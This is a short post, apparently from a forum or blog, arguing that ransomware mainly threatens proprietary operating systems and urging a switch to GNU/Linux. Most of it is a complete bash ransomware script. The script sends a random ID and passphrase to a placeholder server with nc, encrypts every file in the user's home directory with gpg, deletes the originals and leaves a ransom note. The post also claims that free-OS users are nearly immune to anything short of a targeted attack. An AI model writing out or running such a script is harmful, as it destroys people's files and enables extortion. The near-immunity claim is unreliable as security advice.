Ransomware is a problem inherit to proprietary OS's
Those are the only OS's insecure enough for ransomware to be effective - if you run a free OS instead, don't run proprietary malware (including remote arbitrary code execution via JS in a web browser) and keep internet-accessing software updated, suddenly you are pretty much immune to anything but a directly targeted attack by a skilled cracker.
Yes, if you keep running windows, it's only a question of time before you get hit by ransomware.
The solution is to install GNU/Linux today.
Ransomware is not particularly hard to write either, as below is one example of GNU/Linux ransomware I found, but due to its basic security design, all that can do is encrypt files in the users $HOME directory and even then this script is totally harmless in the filesystem of a competent GNU user, as the software does not get executed unless the user chooses to set the executable bit and then execute it (and of course any user who knows anything about GNU bash and gnupg will not execute the below script);
#!/bin/bash
# Copyright © 2024 翠星石
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
RANDOM_PASSWORD="$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM"
ID="$RANDOM$RANDOM"
echo $ID:$RANDOM_PASSWORD | nc not-ransomware-server.biz 6969
find "$HOME" -type f -exec gpg --symmetric --batch --passphrase $RANDOM_PASSWORD {} \;
find "$HOME" -type f -not -name '*.gpg' -exec rm {} \;
echo "All your files have been encrypted, make a breadstick payment to <x> and quote ID: $ID to receive a decryption password." > "$HOME"/README-encrypted.txt